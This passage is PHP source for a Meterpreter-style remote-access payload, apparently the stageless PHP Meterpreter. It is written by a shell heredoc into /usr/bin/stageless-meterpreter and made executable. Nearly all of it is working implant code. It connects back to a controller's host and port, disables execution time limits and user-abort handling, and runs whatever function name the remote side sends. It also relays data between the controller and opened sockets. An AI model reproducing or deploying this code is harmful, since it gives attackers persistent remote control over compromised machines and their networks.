handle_dead_resource_channel(\$c[1]);
|
|
|
|
}
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
return \$ret;
|
|
|
|
} else {
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
function generate_req_id()
|
|
|
|
{
|
|
|
|
\$characters = 'abcdefghijklmnopqrstuvwxyz';
|
|
|
|
\$rid = '';
|
|
|
|
for (\$p = 0; \$p < 32; \$p++) {
|
|
|
|
\$rid .= \$characters[rand(0, strlen(\$characters) - 1)];
|
|
|
|
}
|
|
|
|
return \$rid;
|
|
|
|
}
|
|
|
|
function handle_dead_resource_channel(\$resource)
|
|
|
|
{
|
|
|
|
global \$msgsock;
|
|
|
|
if (!is_resource(\$resource)) {
|
|
|
|
return;
|
|
|
|
}
|
|
|
|
\$cid = get_channel_id_from_resource(\$resource);
|
|
|
|
if (\$cid === false) {
|
|
|
|
my_print("Resource has no channel: {\$resource}");
|
|
|
|
remove_reader(\$resource);
|
|
|
|
close(\$resource);
|
|
|
|
} else {
|
|
|
|
my_print("Handling dead resource: {\$resource}, for channel: {\$cid}");
|
|
|
|
channel_close_handles(\$cid);
|
|
|
|
\$pkt = pack("N", PACKET_TYPE_REQUEST);
|
|
|
|
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_close'));
|
|
|
|
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
|
|
|
|
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_CHANNEL_ID, \$cid));
|
|
|
|
\$pkt = pack("N", strlen(\$pkt) + 4) . \$pkt;
|
|
|
|
write(\$msgsock, \$pkt);
|
|
|
|
}
|
|
|
|
return;
|
|
|
|
}
|
|
|
|
function handle_resource_read_channel(\$resource, \$data)
|
|
|
|
{
|
|
|
|
global \$udp_host_map;
|
|
|
|
\$cid = get_channel_id_from_resource(\$resource);
|
|
|
|
my_print("Handling data from \$resource");
|
|
|
|
\$pkt = pack("N", PACKET_TYPE_REQUEST);
|
|
|
|
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_write'));
|
|
|
|
if (array_key_exists((int) \$resource, \$udp_host_map)) {
|
|
|
|
list(\$h, \$p) = \$udp_host_map[(int) \$resource];
|
|
|
|
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_PEER_HOST, \$h));
|
|
|
|
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_PEER_PORT, \$p));
|
|
|
|
}
|
|
|
|
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_CHANNEL_ID, \$cid));
|
|
|
|
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, \$data));
|
|
|
|
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_LENGTH, strlen(\$data)));
|
|
|
|
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
|
|
|
|
\$pkt = pack("N", strlen(\$pkt) + 4) . \$pkt;
|
|
|
|
return \$pkt;
|
|
|
|
}
|
|
|
|
function create_response(\$req)
|
|
|
|
{
|
|
|
|
\$pkt = pack("N", PACKET_TYPE_RESPONSE);
|
|
|
|
\$method_tlv = packet_get_tlv(\$req, TLV_TYPE_METHOD);
|
|
|
|
my_print("method is {\$method_tlv['value']}");
|
|
|
|
packet_add_tlv(\$pkt, \$method_tlv);
|
|
|
|
\$reqid_tlv = packet_get_tlv(\$req, TLV_TYPE_REQUEST_ID);
|
|
|
|
packet_add_tlv(\$pkt, \$reqid_tlv);
|
|
|
|
if (is_callable(\$method_tlv['value'])) {
|
|
|
|
\$result = \$method_tlv['value'](\$req, \$pkt);
|
|
|
|
} else {
|
|
|
|
my_print("Got a request for something I don't know how to handle (" . \$method_tlv['value'] . "), returning failure");
|
|
|
|
\$result = ERROR_FAILURE;
|
|
|
|
}
|
|
|
|
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_RESULT, \$result));
|
|
|
|
\$pkt = pack("N", strlen(\$pkt) + 4) . \$pkt;
|
|
|
|
return \$pkt;
|
|
|
|
}
|
|
|
|
function create_tlv(\$type, \$val)
|
|
|
|
{
|
|
|
|
return array(
|
|
|
|
'type' => \$type,
|
|
|
|
'value' => \$val
|
|
|
|
);
|
|
|
|
}
|
|
|
|
function tlv_pack(\$tlv)
|
|
|
|
{
|
|
|
|
\$ret = "";
|
|
|
|
if ((\$tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
|
|
|
|
\$ret = pack("NNa*", 8 + strlen(\$tlv['value']) + 1, \$tlv['type'], \$tlv['value'] . "\0");
|
|
|
|
} elseif ((\$tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) {
|
|
|
|
\$hi = (\$tlv['value'] >> 32) & 0xFFFFFFFF;
|
|
|
|
\$lo = \$tlv['value'] & 0xFFFFFFFF;
|
|
|
|
\$ret = pack("NNNN", 8 + 8, \$tlv['type'], \$hi, \$lo);
|
|
|
|
} elseif ((\$tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
|
|
|
|
\$ret = pack("NNN", 8 + 4, \$tlv['type'], \$tlv['value']);
|
|
|
|
} elseif ((\$tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
|
|
|
|
\$ret = pack("NN", 8 + 1, \$tlv['type']);
|
|
|
|
\$ret .= \$tlv['value'] ? "\x01" : "\x00";
|
|
|
|
} elseif ((\$tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) {
|
|
|
|
\$ret = pack("NN", 8 + strlen(\$tlv['value']), \$tlv['type']) . \$tlv['value'];
|
|
|
|
} elseif ((\$tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP) {
|
|
|
|
\$ret = pack("NN", 8 + strlen(\$tlv['value']), \$tlv['type']) . \$tlv['value'];
|
|
|
|
} elseif ((\$tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX) {
|
|
|
|
\$ret = pack("NN", 8 + strlen(\$tlv['value']), \$tlv['type']) . \$tlv['value'];
|
|
|
|
} else {
|
|
|
|
my_print("Don't know how to make a tlv of type " . \$tlv['type'] . " (meta type " . sprintf("%08x", \$tlv['type'] & TLV_META_TYPE_MASK) . "), wtf");
|
|
|
|
}
|
|
|
|
return \$ret;
|
|
|
|
}
|
|
|
|
function tlv_unpack(\$raw_tlv)
|
|
|
|
{
|
|
|
|
\$tlv = unpack("Nlen/Ntype", substr(\$raw_tlv, 0, 8));
|
|
|
|
\$type = \$tlv['type'];
|
|
|
|
my_print("len: {\$tlv['len']}, type: {\$tlv['type']}");
|
|
|
|
if ((\$type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
|
|
|
|
\$tlv = unpack("Nlen/Ntype/a*value", substr(\$raw_tlv, 0, \$tlv['len']));
|
|
|
|
\$tlv['value'] = str_replace("\0", "", \$tlv['value']);
|
|
|
|
} elseif ((\$type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
|
|
|
|
\$tlv = unpack("Nlen/Ntype/Nvalue", substr(\$raw_tlv, 0, \$tlv['len']));
|
|
|
|
} elseif ((\$type & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) {
|
|
|
|
\$tlv = unpack("Nlen/Ntype/Nhi/Nlo", substr(\$raw_tlv, 0, \$tlv['len']));
|
|
|
|
\$tlv['value'] = \$tlv['hi'] << 32 | \$tlv['lo'];
|
|
|
|
} elseif ((\$type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
|
|
|
|
\$tlv = unpack("Nlen/Ntype/cvalue", substr(\$raw_tlv, 0, \$tlv['len']));
|
|
|
|
} elseif ((\$type & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) {
|
|
|
|
\$tlv = unpack("Nlen/Ntype", \$raw_tlv);
|
|
|
|
\$tlv['value'] = substr(\$raw_tlv, 8, \$tlv['len'] - 8);
|
|
|
|
} else {
|
|
|
|
my_print("Wtf type is this? \$type");
|
|
|
|
\$tlv = null;
|
|
|
|
}
|
|
|
|
return \$tlv;
|
|
|
|
}
|
|
|
|
function packet_add_tlv(&\$pkt, \$tlv)
|
|
|
|
{
|
|
|
|
\$pkt .= tlv_pack(\$tlv);
|
|
|
|
}
|
|
|
|
function packet_get_tlv(\$pkt, \$type)
|
|
|
|
{
|
|
|
|
\$offset = 8;
|
|
|
|
while (\$offset < strlen(\$pkt)) {
|
|
|
|
\$tlv = tlv_unpack(substr(\$pkt, \$offset));
|
|
|
|
if (\$type == (\$tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) {
|
|
|
|
return \$tlv;
|
|
|
|
}
|
|
|
|
\$offset += \$tlv['len'];
|
|
|
|
}
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
function packet_get_all_tlvs(\$pkt, \$type)
|
|
|
|
{
|
|
|
|
my_print("Looking for all tlvs of type \$type");
|
|
|
|
\$offset = 8;
|
|
|
|
\$all = array();
|
|
|
|
while (\$offset < strlen(\$pkt)) {
|
|
|
|
\$tlv = tlv_unpack(substr(\$pkt, \$offset));
|
|
|
|
if (\$tlv == NULL) {
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
my_print("len: {\$tlv['len']}, type: {\$tlv['type']}");
|
|
|
|
if (empty(\$type) || \$type == (\$tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) {
|
|
|
|
my_print("Found one at offset \$offset");
|
|
|
|
array_push(\$all, \$tlv);
|
|
|
|
}
|
|
|
|
\$offset += \$tlv['len'];
|
|
|
|
}
|
|
|
|
return \$all;
|
|
|
|
}
|
|
|
|
function register_socket(\$sock, \$ipaddr = null, \$port = null)
|
|
|
|
{
|
|
|
|
global \$resource_type_map, \$udp_host_map;
|
|
|
|
my_print("Registering socket \$sock for (\$ipaddr:\$port)");
|
|
|
|
\$resource_type_map[(int) \$sock] = 'socket';
|
|
|
|
if (\$ipaddr) {
|
|
|
|
\$udp_host_map[(int) \$sock] = array(
|
|
|
|
\$ipaddr,
|
|
|
|
\$port
|
|
|
|
);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
function register_stream(\$stream, \$ipaddr = null, \$port = null)
|
|
|
|
{
|
|
|
|
global \$resource_type_map, \$udp_host_map;
|
|
|
|
my_print("Registering stream \$stream for (\$ipaddr:\$port)");
|
|
|
|
\$resource_type_map[(int) \$stream] = 'stream';
|
|
|
|
if (\$ipaddr) {
|
|
|
|
\$udp_host_map[(int) \$stream] = array(
|
|
|
|
\$ipaddr,
|
|
|
|
\$port
|
|
|
|
);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
function connect(\$ipaddr, \$port, \$proto = 'tcp')
|
|
|
|
{
|
|
|
|
my_print("Doing connect(\$ipaddr, \$port)");
|
|
|
|
\$sock = false;
|
|
|
|
\$raw_ip = \$ipaddr;
|
|
|
|
if (FALSE !== strpos(\$ipaddr, ":")) {
|
|
|
|
\$ipf = AF_INET6;
|
|
|
|
\$ipaddr = "[" . \$raw_ip . "]";
|
|
|
|
}
|
|
|
|
if (is_callable('stream_socket_client')) {
|
|
|
|
my_print("stream_socket_client({\$proto}://{\$ipaddr}:{\$port})");
|
|
|
|
\$sock = stream_socket_client("{\$proto}://{\$ipaddr}:{\$port}");
|
|
|
|
my_print("Got a sock: \$sock");
|
|
|
|
if (!\$sock) {
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
if (\$proto == 'tcp') {
|
|
|
|
register_stream(\$sock);
|
|
|
|
} elseif (\$proto == 'udp') {
|
|
|
|
register_stream(\$sock, \$ipaddr, \$port);
|
|
|
|
} else {
|
|
|
|
my_print("WTF proto is this: '\$proto'");
|
|
|
|
}
|
|
|
|
} else if (is_callable('fsockopen')) {
|
|
|
|
my_print("fsockopen");
|
|
|
|
if (\$proto == 'tcp') {
|
|
|
|
\$sock = fsockopen(\$ipaddr, \$port);
|
|
|
|
if (!\$sock) {
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
if (is_callable('socket_set_timeout')) {
|
|
|
|
socket_set_timeout(\$sock, 2);
|
|
|
|
}
|
|
|
|
register_stream(\$sock);
|
|
|
|
} else {
|
|
|
|
\$sock = fsockopen(\$proto . "://" . \$ipaddr, \$port);
|
|
|
|
if (!\$sock) {
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
register_stream(\$sock, \$ipaddr, \$port);
|
|
|
|
}
|
|
|
|
} else if (is_callable('socket_create')) {
|
|
|
|
my_print("socket_create");
|
|
|
|
if (\$proto == 'tcp') {
|
|
|
|
\$sock = socket_create(\$ipf, SOCK_STREAM, SOL_TCP);
|
|
|
|
\$res = socket_connect(\$sock, \$raw_ip, \$port);
|
|
|
|
if (!\$res) {
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
register_socket(\$sock);
|
|
|
|
} elseif (\$proto == 'udp') {
|
|
|
|
\$sock = socket_create(\$ipf, SOCK_DGRAM, SOL_UDP);
|
|
|
|
register_socket(\$sock, \$raw_ip, \$port);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
return \$sock;
|
|
|
|
}
|
|
|
|
function eof(\$resource)
|
|
|
|
{
|
|
|
|
\$ret = false;
|
|
|
|
switch (get_rtype(\$resource)) {
|
|
|
|
case 'socket':
|
|
|
|
break;
|
|
|
|
case 'stream':
|
|
|
|
\$ret = feof(\$resource);
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
return \$ret;
|
|
|
|
}
|
|
|
|
function close(\$resource)
|
|
|
|
{
|
|
|
|
my_print("Closing resource \$resource");
|
|
|
|
global \$resource_type_map, \$udp_host_map;
|
|
|
|
remove_reader(\$resource);
|
|
|
|
switch (get_rtype(\$resource)) {
|
|
|
|
case 'socket':
|
|
|
|
\$ret = socket_close(\$resource);
|
|
|
|
break;
|
|
|
|
case 'stream':
|
|
|
|
\$ret = fclose(\$resource);
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
if (array_key_exists((int) \$resource, \$resource_type_map)) {
|
|
|
|
unset(\$resource_type_map[(int) \$resource]);
|
|
|
|
}
|
|
|
|
if (array_key_exists((int) \$resource, \$udp_host_map)) {
|
|
|
|
my_print("Removing \$resource from udp_host_map");
|
|
|
|
unset(\$udp_host_map[(int) \$resource]);
|
|
|
|
}
|
|
|
|
return \$ret;
|
|
|
|
}
|
|
|
|
function read(\$resource, \$len = null)
|
|
|
|
{
|
|
|
|
global \$udp_host_map;
|
|
|
|
if (is_null(\$len)) {
|
|
|
|
\$len = 8192;
|
|
|
|
}
|
|
|
|
\$buff = '';
|
|
|
|
switch (get_rtype(\$resource)) {
|
|
|
|
case 'socket':
|
|
|
|
if (array_key_exists((int) \$resource, \$udp_host_map)) {
|
|
|
|
my_print("Reading UDP socket");
|
|
|
|
list(\$host, \$port) = \$udp_host_map[(int) \$resource];
|
|
|
|
socket_recvfrom(\$resource, \$buff, \$len, PHP_BINARY_READ, \$host, \$port);
|
|
|
|
} else {
|
|
|
|
my_print("Reading TCP socket");
|
|
|
|
\$buff .= socket_read(\$resource, \$len, PHP_BINARY_READ);
|
|
|
|
}
|
|
|
|
break;
|
|
|
|
case 'stream':
|
|
|
|
global \$msgsock;
|
|
|
|
\$r = Array(
|
|
|
|
\$resource
|
|
|
|
);
|
|
|
|
my_print("Calling select to see if there's data on \$resource");
|
|
|
|
while (true) {
|
|
|
|
\$w = NULL;
|
|
|
|
\$e = NULL;
|
|
|
|
\$t = 0;
|
|
|
|
\$cnt = stream_select(\$r, \$w, \$e, \$t);
|
|
|
|
if (\$cnt === 0) {
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
if (\$cnt === false or feof(\$resource)) {
|
|
|
|
my_print("Checking for failed read...");
|
|
|
|
if (empty(\$buff)) {
|
|
|
|
my_print("---- EOF ON \$resource ----");
|
|
|
|
\$buff = false;
|
|
|
|
}
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
\$md = stream_get_meta_data(\$resource);
|
|
|
|
dump_array(\$md);
|
|
|
|
if (\$md['unread_bytes'] > 0) {
|
|
|
|
\$buff .= fread(\$resource, \$md['unread_bytes']);
|
|
|
|
break;
|
|
|
|
} else {
|
|
|
|
\$tmp = fread(\$resource, \$len);
|
|
|
|
\$buff .= \$tmp;
|
|
|
|
if (strlen(\$tmp) < \$len) {
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
if (\$resource != \$msgsock) {
|
|
|
|
my_print("buff: '\$buff'");
|
|
|
|
}
|
|
|
|
\$r = Array(
|
|
|
|
\$resource
|
|
|
|
);
|
|
|
|
}
|
|
|
|
my_print(sprintf("Done with the big read loop on \$resource, got %d bytes", strlen(\$buff)));
|
|
|
|
break;
|
|
|
|
default:
|
|
|
|
\$cid = get_channel_id_from_resource(\$resource);
|
|
|
|
\$c = get_channel_by_id(\$cid);
|
|
|
|
if (\$c and \$c['data']) {
|
|
|
|
\$buff = substr(\$c['data'], 0, \$len);
|
|
|
|
\$c['data'] = substr(\$c['data'], \$len);
|
|
|
|
my_print("Aha! got some leftovers");
|
|
|
|
} else {
|
|
|
|
my_print("Wtf don't know how to read from resource \$resource, c: \$c");
|
|
|
|
if (is_array(\$c)) {
|
|
|
|
dump_array(\$c);
|
|
|
|
}
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
my_print(sprintf("Read %d bytes", strlen(\$buff)));
|
|
|
|
return \$buff;
|
|
|
|
}
|
|
|
|
function write(\$resource, \$buff, \$len = 0)
|
|
|
|
{
|
|
|
|
global \$udp_host_map;
|
|
|
|
if (\$len == 0) {
|
|
|
|
\$len = strlen(\$buff);
|
|
|
|
}
|
|
|
|
\$count = false;
|
|
|
|
switch (get_rtype(\$resource)) {
|
|
|
|
case 'socket':
|
|
|
|
if (array_key_exists((int) \$resource, \$udp_host_map)) {
|
|
|
|
my_print("Writing UDP socket");
|
|
|
|
list(\$host, \$port) = \$udp_host_map[(int) \$resource];
|
|
|
|
\$count = socket_sendto(\$resource, \$buff, \$len, \$host, \$port);
|
|
|
|
} else {
|
|
|
|
\$count = socket_write(\$resource, \$buff, \$len);
|
|
|
|
}
|
|
|
|
break;
|
|
|
|
case 'stream':
|
|
|
|
\$count = fwrite(\$resource, \$buff, \$len);
|
|
|
|
fflush(\$resource);
|
|
|
|
break;
|
|
|
|
default:
|
|
|
|
my_print("Wtf don't know how to write to resource \$resource");
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
return \$count;
|
|
|
|
}
|
|
|
|
function get_rtype(\$resource)
|
|
|
|
{
|
|
|
|
global \$resource_type_map;
|
|
|
|
if (array_key_exists((int) \$resource, \$resource_type_map)) {
|
|
|
|
return \$resource_type_map[(int) \$resource];
|
|
|
|
}
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
function select(&\$r, &\$w, &\$e, \$tv_sec = 0, \$tv_usec = 0)
|
|
|
|
{
|
|
|
|
\$streams_r = array();
|
|
|
|
\$streams_w = array();
|
|
|
|
\$streams_e = array();
|
|
|
|
\$sockets_r = array();
|
|
|
|
\$sockets_w = array();
|
|
|
|
\$sockets_e = array();
|
|
|
|
if (\$r) {
|
|
|
|
foreach (\$r as \$resource) {
|
|
|
|
switch (get_rtype(\$resource)) {
|
|
|
|
case 'socket':
|
|
|
|
\$sockets_r[] = \$resource;
|
|
|
|
break;
|
|
|
|
case 'stream':
|
|
|
|
\$streams_r[] = \$resource;
|
|
|
|
break;
|
|
|
|
default:
|
|
|
|
my_print("Unknown resource type");
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
if (\$w) {
|
|
|
|
foreach (\$w as \$resource) {
|
|
|
|
switch (get_rtype(\$resource)) {
|
|
|
|
case 'socket':
|
|
|
|
\$sockets_w[] = \$resource;
|
|
|
|
break;
|
|
|
|
case 'stream':
|
|
|
|
\$streams_w[] = \$resource;
|
|
|
|
break;
|
|
|
|
default:
|
|
|
|
my_print("Unknown resource type");
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
if (\$e) {
|
|
|
|
foreach (\$e as \$resource) {
|
|
|
|
switch (get_rtype(\$resource)) {
|
|
|
|
case 'socket':
|
|
|
|
\$sockets_e[] = \$resource;
|
|
|
|
break;
|
|
|
|
case 'stream':
|
|
|
|
\$streams_e[] = \$resource;
|
|
|
|
break;
|
|
|
|
default:
|
|
|
|
my_print("Unknown resource type");
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
\$n_sockets = count(\$sockets_r) + count(\$sockets_w) + count(\$sockets_e);
|
|
|
|
\$n_streams = count(\$streams_r) + count(\$streams_w) + count(\$streams_e);
|
|
|
|
\$r = array();
|
|
|
|
\$w = array();
|
|
|
|
\$e = array();
|
|
|
|
if (count(\$sockets_r) == 0) {
|
|
|
|
\$sockets_r = null;
|
|
|
|
}
|
|
|
|
if (count(\$sockets_w) == 0) {
|
|
|
|
\$sockets_w = null;
|
|
|
|
}
|
|
|
|
if (count(\$sockets_e) == 0) {
|
|
|
|
\$sockets_e = null;
|
|
|
|
}
|
|
|
|
if (count(\$streams_r) == 0) {
|
|
|
|
\$streams_r = null;
|
|
|
|
}
|
|
|
|
if (count(\$streams_w) == 0) {
|
|
|
|
\$streams_w = null;
|
|
|
|
}
|
|
|
|
if (count(\$streams_e) == 0) {
|
|
|
|
\$streams_e = null;
|
|
|
|
}
|
|
|
|
\$count = 0;
|
|
|
|
if (\$n_sockets > 0) {
|
|
|
|
\$res = socket_select(\$sockets_r, \$sockets_w, \$sockets_e, \$tv_sec, \$tv_usec);
|
|
|
|
if (false === \$res) {
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
if (is_array(\$r) && is_array(\$sockets_r)) {
|
|
|
|
\$r = array_merge(\$r, \$sockets_r);
|
|
|
|
}
|
|
|
|
if (is_array(\$w) && is_array(\$sockets_w)) {
|
|
|
|
\$w = array_merge(\$w, \$sockets_w);
|
|
|
|
}
|
|
|
|
if (is_array(\$e) && is_array(\$sockets_e)) {
|
|
|
|
\$e = array_merge(\$e, \$sockets_e);
|
|
|
|
}
|
|
|
|
\$count += \$res;
|
|
|
|
}
|
|
|
|
if (\$n_streams > 0) {
|
|
|
|
\$res = stream_select(\$streams_r, \$streams_w, \$streams_e, \$tv_sec, \$tv_usec);
|
|
|
|
if (false === \$res) {
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
if (is_array(\$r) && is_array(\$streams_r)) {
|
|
|
|
\$r = array_merge(\$r, \$streams_r);
|
|
|
|
}
|
|
|
|
if (is_array(\$w) && is_array(\$streams_w)) {
|
|
|
|
\$w = array_merge(\$w, \$streams_w);
|
|
|
|
}
|
|
|
|
if (is_array(\$e) && is_array(\$streams_e)) {
|
|
|
|
\$e = array_merge(\$e, \$streams_e);
|
|
|
|
}
|
|
|
|
\$count += \$res;
|
|
|
|
}
|
|
|
|
return \$count;
|
|
|
|
}
|
|
|
|
function add_reader(\$resource)
|
|
|
|
{
|
|
|
|
global \$readers;
|
|
|
|
if (is_resource(\$resource) && !in_array(\$resource, \$readers)) {
|
|
|
|
\$readers[] = \$resource;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
function remove_reader(\$resource)
|
|
|
|
{
|
|
|
|
global \$readers;
|
|
|
|
if (in_array(\$resource, \$readers)) {
|
|
|
|
foreach (\$readers as \$key => \$r) {
|
|
|
|
if (\$r == \$resource) {
|
|
|
|
unset(\$readers[\$key]);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
ob_implicit_flush();
|
|
|
|
@ignore_user_abort(true);
|
|
|
|
@set_time_limit(0);
|
|
|
|
@ignore_user_abort(1);
|
|
|
|
@ini_set('max_execution_time', 0);
|
|
|
|
if (!isset(\$GLOBALS['msgsock'])) {
|
|
|
|
my_print("Don't have a msgsock, trying to connect(\$ipaddr, \$port)");
|
|
|
|
\$msgsock = connect(\$ipaddr, \$port);
|
|
|
|
if (!\$msgsock) {
|
|
|
|
die();
|
|
|
|
}
|
|
|
|
} else {
|
|
|
|
\$msgsock = \$GLOBALS['msgsock'];
|
|
|
|
\$msgsock_type = \$GLOBALS['msgsock_type'];
|
|
|
|
switch (\$msgsock_type) {
|
|
|
|
case 'socket':
|
|
|
|
register_socket(\$msgsock);
|
|
|
|
break;
|
|
|
|
case 'stream':
|
|
|
|
default:
|
|
|
|
register_stream(\$msgsock);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
add_reader(\$msgsock);
|
|
|
|
\$r = \$GLOBALS['readers'];
|
|
|
|
\$w = NULL;
|
|
|
|
\$e = NULL;
|
|
|
|
\$t = 1;
|
|
|
|
while (false !== (\$cnt = select(\$r, \$w, \$e, \$t))) {
|
|
|
|
\$read_failed = false;
|
|
|
|
for (\$i = 0; \$i < \$cnt; \$i++) {
|
|
|
|
\$ready = \$r[\$i];
|
|
|
|
if (\$ready == \$msgsock) {
|
|
|
|
\$request = read(\$msgsock, 8);
|
|
|
|
if (false == \$request) {
|
|
|
|
break 2;
|
|
|
|
}
|
|
|
|
\$a = unpack("Nlen/Ntype", \$request);
|
|
|
|
\$len = \$a['len'];
|
|
|
|
\$ptype = \$a['type'];
|
|
|
|
while (strlen(\$request) < \$a['len']) {
|
|
|
|
\$request .= read(\$msgsock, \$len - strlen(\$request));
|
|
|
|
}
|
|
|
|
\$response = create_response(\$request);
|
|
|
|
write(\$msgsock, \$response);
|
|
|
|
} else {
|
|
|
|
\$data = read(\$ready);
|
|
|
|
if (false === \$data) {
|
|
|
|
handle_dead_resource_channel(\$ready);
|
|
|
|
} elseif (strlen(\$data) > 0) {
|
|
|
|
my_print(sprintf("Read returned %s bytes", strlen(\$data)));
|
|
|
|
\$request = handle_resource_read_channel(\$ready, \$data);
|
|
|
|
if (\$request) {
|
|
|
|
write(\$msgsock, \$request);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
\$r = \$GLOBALS['readers'];
|
|
|
|
}
|
|
|
|
my_print("Finished");
|
|
|
|
my_print("--------------------");
|
|
|
|
close(\$msgsock);
|
|
|
|
|
|
|
|
EOF
|
|
|
|
chmod +x /usr/bin/stageless-meterpreter
|
|
|
|
}
|